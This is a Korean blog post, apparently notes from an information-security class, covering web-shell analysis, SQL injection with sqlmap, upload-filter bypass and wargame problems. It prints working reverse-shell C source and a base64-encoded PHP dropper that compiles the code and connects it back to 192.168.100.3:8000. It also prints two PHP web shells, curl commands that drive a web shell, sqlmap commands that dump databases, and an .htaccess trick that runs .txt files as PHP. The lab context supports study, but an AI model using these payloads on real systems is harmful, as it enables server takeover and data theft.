본문 바로가기
정보보안

정보보안8 16차시

by IT매니절 2025. 1. 4.

왜인지 80번 포트가 닫혀있어서

firewall-cmd --zone=public --permanent --add-port=80/tcp
firewall-cmd --reload

방화벽에 등록해서 열어주었다

 

root계정이 아니라 apache 사용자로 접속하여 취약점 점검하기

1) usermod -s /bin/bash apache

2) 다른 터미널에서 apache 접속하기

3) usermod -s /sbin/nologin apache 아파치 로그인 다시 막기

4) apache 계정으로 보안점검하기

( root는 모든 권한이 있기 때문에 )

 

파일권한

755보다는 751 rwxr-x--x 이 좀 더 강력한 보안

 

base64로 인코딩 되어 있는 웹쉘의 소스코드

 

# echo -n Security! | base64
U2VjdXJpdHkh

=> base64로 인코딩하는 법

 

:set ff=dos
=> dos타입으로 저장하면 제대로 실행되지 않는다.
(*윈도우에서 리눅스로 가져온 파일이 dos타입일 수 있다. php는 영향x 웹쉘파일은 영향받음)

:set ff=unix

=> unix 타입으로 변경해야 제대로 동작한다.

 

od -c 텍스트파일

=> 엔터 자리에 \r\n 이 보인다면 dos타입으로 판단할 수 있다

 

윈도우에서 cmd로

scp 파일명 로그인아이디@ip주소:저장할위치

ex) scp test.txt liunxadmin@192.168.100.3:/home/linuxadmin

 

//디코딩된 웹쉘코드

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f ";
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]);
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd);
}

 

 

1589라인 (r57shell.php)

cf("/tmp/back.c",$back_connect_c);

=> back_connect_c의 내용을 /tmp/back.c로 파일을 만들어서

$blah = ex("gcc -o /tmp/backc /tmp/back.c");

=> gcc로 컴파일한 후

@unlink("/tmp/back.c");

=> 소스코드는 삭제하고

$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");

=> 공격자 포트로 백그라운드 프로세스로 접속한다

 

<?php
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";                     

$w_file = fopen("back.c","w");
fputs($w_file, base64_decode($back_connect_c));
fclose($w_file);

system("gcc -o backc back.c");
unlink("back.c");
system("./backc 192.168.100.3 8000 &");
?>

인코딩된 코드를 이용하여, 리버스 쉘로 연결하는 코드

 

<?php
if ($_POST)
{
$f=fopen($_POST["f"],"w");
if(fwrite($f,$_POST["c"]))
echo "<font color=red>OK!</font>";
else
echo "<font color=blue>Error!</font>";
}
?>

<title> PHP WEB SHELL </title>
<form action="" method="post">
<input type="text" size=61 name="f" value='<?php echo $_SERVER["SCRIPT_FILENAME"];?>'><br><br>
<textarea name="c" cols=60 rows=15></textarea><br>
<input type="submit" id="b" value="Create"><br>
</form>
<p></p>

=> 해당 파일을 wh.php로 저장한 후, chmod 777로 권한을 변경하고

해당 페이지에서 ls를 입력한다. 그러면 wh.php의 내용이 ls로 변경된다.

즉, 해당 파일을 통해 웹쉘 악성코드를 업로드 할 수 있다는 뜻.

예를들면 <?php system($_GET['cmd']); ?> 를 작성하고 webshell.php?cmd=pwd 처럼 실행

해당 내용을 파일 업로드 기능을 통해 게시판에 업로드 한 후, 접근하여 악성코드를 작성하면 리버스 쉘로 연결하는 등의 공격이 가능하다.

 

이 때 만약

<?php system($_POST['cmd']); ?> 라면 어떻게 실행할 수 있을까?

1) html 페이지를 생성하여 호출한다

2) cURL 사용하기

curl -X POST -F "cmd=pwd" http://192.168.100.24/data/test2.php

curl을 사용하여 POST 전송하자 결과값이 출력된 모습

 

-F 옵션으로 값을 추가할 수 있고 (multipart/form-data Content-Type)
-d 옵션으로 값을 추가할 수 있다 (x-www-form-urlencoded Content-Type)

Content-Type을 지정하려면 -H 옵션을 사용한다
ex) -H "Content-Type: application/json"
당연히 이 때는 값을 '{"이름1":"값", "이름2":"값"}' 이러한 형식으로 보내야 한다

파일 업로드의 경우
-F 'image=@/home/linuxadmin/abcd.jpg' 이런식으로 사용

 

 

 

sqlmap을 이용한 SQLi 공격

(파이썬으로 만들어져있다)

sqlmap -u "http://192.168.100.24/?id=bbs1&m=read&no=17" -p no
=> -u는 url, -p는 취약한 파라미터를 의미

--dbs는 DB목록 출력. db목록이 출력된 모습.

데이터베이스를 바탕으로 추가 질의를 한다

sqlmap -u "http://192.168.100.24/?id=bbs1&m=read&no=17" -p no -D mywebsite --tables

테이블명들이 추출되었다

 

sqlmap -u "http://192.168.100.24/?id=bbs1&m=read&no=17" -p no -D mywebsite --columns

=> columns도 테이블별로 추출할 수 있다

 

옵션

-D 데이터베이스명
-T 테이블명
--dbs 데이터베이스 리스트 추출
--tables 테이블 리스트 추출
--columns 컬럼 리스트 추출
--dump 데이터 추출

데이터가 추출된 모습

CSV File도 만들어준다...

 

파일업로드시 확장자 필터링하는 php 코드

if(preg_match("/\.(php|html|htaccess)$/i", $_FILES['upfile']['name'])){

 코드 ...

}

 

.htaccess 파일은 분산설정 파일을 의미한다


/etc/httpd/conf/httpd.conf 파일 설정의
<Directory "/var/www/html">
 AllowOverride All
</Directory>
AllowOverride 설정이 None이면 비허용, All이면 허용이다
허용일 때 .htaccess 파일을 생성하여
Addtype application/x-httpd-php .txt
이러한 내용을 넣으면, .txt 파일이 php 코드로 인식된다

 

 

웹해킹 워게임

https://webhacking.kr/

 

old-26

<?php
  
if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
  
$_GET['id'] = urldecode($_GET['id']);
  if(
$_GET['id'] == "admin"){
    
solve(26);
  }
?>

=> /admin/이 포함되어 있으면 종료된다.

 

admin을 인코딩하여 %61%64%6d%69%6e로 입력해도 풀리지 않는다

왜냐하면 preg_match는 인코딩된 문자열도 인식하기 때문

burp를 이용하여 인코딩을 두 번했다

preg_match는 인코딩된 문자열을 인식하는데,

왜 소스코드에서는 또 다시 urldecode 하고 있을까? 라는 의문에 힌트가 있다

 

 

 

old-39

<?php
  $db 
dbconnect();
  if(
$_POST['id']){
    
$_POST['id'] = str_replace("\\","",$_POST['id']);
    
$_POST['id'] = str_replace("'","''",$_POST['id']);
    
$_POST['id'] = substr($_POST['id'],0,15);
    
$result mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
    if(
$result[0] == 1){
      
solve(39);
    }
  }
?>

=> post방식으로 id가 넘어오면, \를 공백으로, '를 ''로 변경한다. 0부터 15까지만 자른다.
이를 쿼리에 셋팅하여, 1개이상의 결과가 나오면 통과

 

 

 

Lord of SQL Injection
https://los.rubiya.kr/

 

gremlin: 기본적인 SQL 인젝션 기법을 이해하고 단순한 조건문 우회를 시도한다.
cobolt: 특정한 사용자 ID를 타겟으로 하는 SQL 인젝션을 수행한다.
goblin: 숫자형 입력에 대한 SQL 인젝션을 시도한다.
orc: 문자열 비교를 우회하는 방법을 찾아본다.
wolfman: SQL 쿼리의 논리 구조를 파악하고 이를 우회하는 인젝션을 시도한다.
darkelf: 복잡한 조건문을 포함한 쿼리를 분석하고 이를 우회하는 방법을 찾아본다.
orge: 다양한 필터링을 우회하는 SQL 인젝션 기법을 연습한다.
troll: 입력 값에 대한 필터링을 분석하고 이를 우회하는 방법을 찾아본다.
vampire: 블라인드 SQL 인젝션 기법을 활용하여 정보를 추출한다.
skeleton: 에러 기반 SQL 인젝션을 시도하여 정보를 얻는다.
golem: 타임 기반 블라인드 SQL 인젝션을 활용한다.
darkknight: 복잡한 필터링과 우회 기법을 연습한다.
bugbear: 다양한 데이터베이스 함수와 SQL 인젝션 기법을 활용한다.
giant: SQL 쿼리의 구조를 분석하고 이를 우회하는 방법을 찾아본다.
assassin: 와일드카드와 패턴 매칭을 활용한 SQL 인젝션 기법을 연습한다.
zombie Assassin: 더 복잡한 조건문과 필터링을 우회하는 방법을 찾아본다.
-- uccubus: 다양한 인코딩 기법을 활용하여 필터링을 우회해보세요. (없음 ?)
nightmare: 고급 블라인드 SQL 인젝션 기법을 연습한다.
xavis: 다양한 데이터베이스 엔진의 특성을 활용한 SQL 인젝션을 시도한다.
dragon: 복잡한 쿼리 구조와 필터링을 분석하고, 이를 우회하는 방법을 찾아본다.

 

 

 

오랜기간에 걸쳐있던 정보보안 수업이 종료되었다

아쉬움이 남는다

'정보보안' 카테고리의 다른 글

정보보안8 15차시  (0) 2024.12.29
정보보안8 14차시  (0) 2024.12.28
정보보안8 12-13차시  (0) 2024.12.22
정보보안8 11차시  (0) 2024.12.15
정보보안8 8차시  (0) 2024.12.01